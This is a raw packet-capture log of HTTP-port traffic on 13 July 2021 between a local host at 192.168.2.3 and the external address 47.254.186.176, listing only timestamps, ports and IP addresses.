Jul 13, 2021 14:37:57.896248102 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896255970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896265030 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896271944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896289110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896302938 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896310091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896330118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896344900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896404982 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896410942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896418095 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896439075 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896454096 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896472931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896488905 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896492958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896523952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896528006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896541119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896544933 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896557093 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896573067 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896626949 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896637917 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896642923 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896646023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896661997 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896682024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896699905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896714926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896740913 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896754026 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896763086 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896766901 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896773100 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896787882 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896806955 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896833897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896836996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896852970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896868944 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896868944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896883965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896899939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896902084 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896914959 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.896925926 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896986008 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.896990061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897007942 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897022963 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897042990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897059917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897063971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897075891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897089958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897110939 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897126913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897171021 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897183895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897218943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897236109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897250891 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897269964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897286892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897303104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897319078 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897319078 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897349119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897355080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897443056 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897460938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897475958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897491932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897506952 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897553921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897569895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897587061 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897587061 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897603035 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897619009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897607088 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897660017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897690058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897706032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897722006 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897753954 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897779942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897820950 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897838116 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897854090 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897870064 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897885084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897901058 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897917032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.897937059 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897955894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897970915 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.897986889 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898025990 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898042917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898061037 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898076057 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898108006 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898109913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898127079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898143053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898144960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898159981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898175001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898179054 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898190975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898238897 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898255110 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898271084 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898283958 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898286104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898303032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898363113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898411989 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898420095 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898428917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898473978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898495913 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898514032 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898529053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898547888 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898555994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898565054 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898581028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898596048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898612022 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898627043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898638964 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898643970 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898644924 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898659945 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898679018 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898679972 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898693085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898730040 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898773909 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898789883 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898808956 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898874044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898893118 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898907900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898914099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898920059 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898926973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898943901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898947001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.898960114 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.898974895 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899029016 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899049044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899065971 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899085045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899101973 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899127960 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899127960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899143934 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899166107 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899173021 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899200916 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899209023 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899286985 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899288893 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899305105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899321079 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899341106 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899358988 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899374962 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899390936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899406910 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899410963 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899422884 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899435043 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899440050 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899456024 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899466991 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899476051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899501085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899544001 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899549007 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899564981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899585009 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899601936 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899615049 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899619102 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899635077 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899647951 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899651051 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899667025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899679899 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899713993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899818897 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899836063 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899852991 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899868965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899883032 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899887085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899929047 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.899964094 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899981976 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.899996996 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900016069 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900028944 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900034904 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900044918 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900051117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900067091 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900083065 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900093079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900098085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900120974 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900158882 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900233030 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900249958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900265932 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900281906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900296926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900304079 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900312901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900331020 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900341034 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900346994 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900382996 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900405884 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900424957 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900440931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900460005 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900476933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900484085 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900492907 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900509119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900521994 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900523901 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900540113 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900552988 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900554895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900587082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900588036 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900604010 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900619984 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900635958 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900645971 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900660038 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900773048 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900793076 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900810003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900820017 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900826931 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900842905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900851011 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900860071 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900875092 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900891066 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900907993 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900908947 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900952101 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900960922 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.900969028 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.900985003 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901000023 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901015043 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901036978 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901072025 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901106119 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901174068 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901247978 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901264906 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901279926 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901295900 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901310921 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901312113 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901326895 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901340961 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901361942 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901439905 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901458025 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901500940 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901514053 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901530981 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901546001 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901561975 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901601076 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901607990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901623964 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901639938 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901655912 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901664019 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901670933 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901690960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901781082 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901801109 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901817083 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901832104 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901834965 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901854038 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901879072 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901920080 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.901928902 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.901993990 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902010918 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902026892 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902043104 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902074099 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902089119 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902189016 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902209044 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902228117 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902245045 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902261972 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902276993 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902287960 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902328968 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902333975 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902348995 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902365923 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902380943 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902395010 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902396917 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902417898 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902427912 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902432919 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902450085 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902465105 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902472973 CEST	49757	80	192.168.2.3	47.254.186.176
Jul 13, 2021 14:37:57.902484894 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902503014 CEST	80	49757	47.254.186.176	192.168.2.3
Jul 13, 2021 14:37:57.902503967 CEST	49757	80	192.168.2.3	47.254.186.176
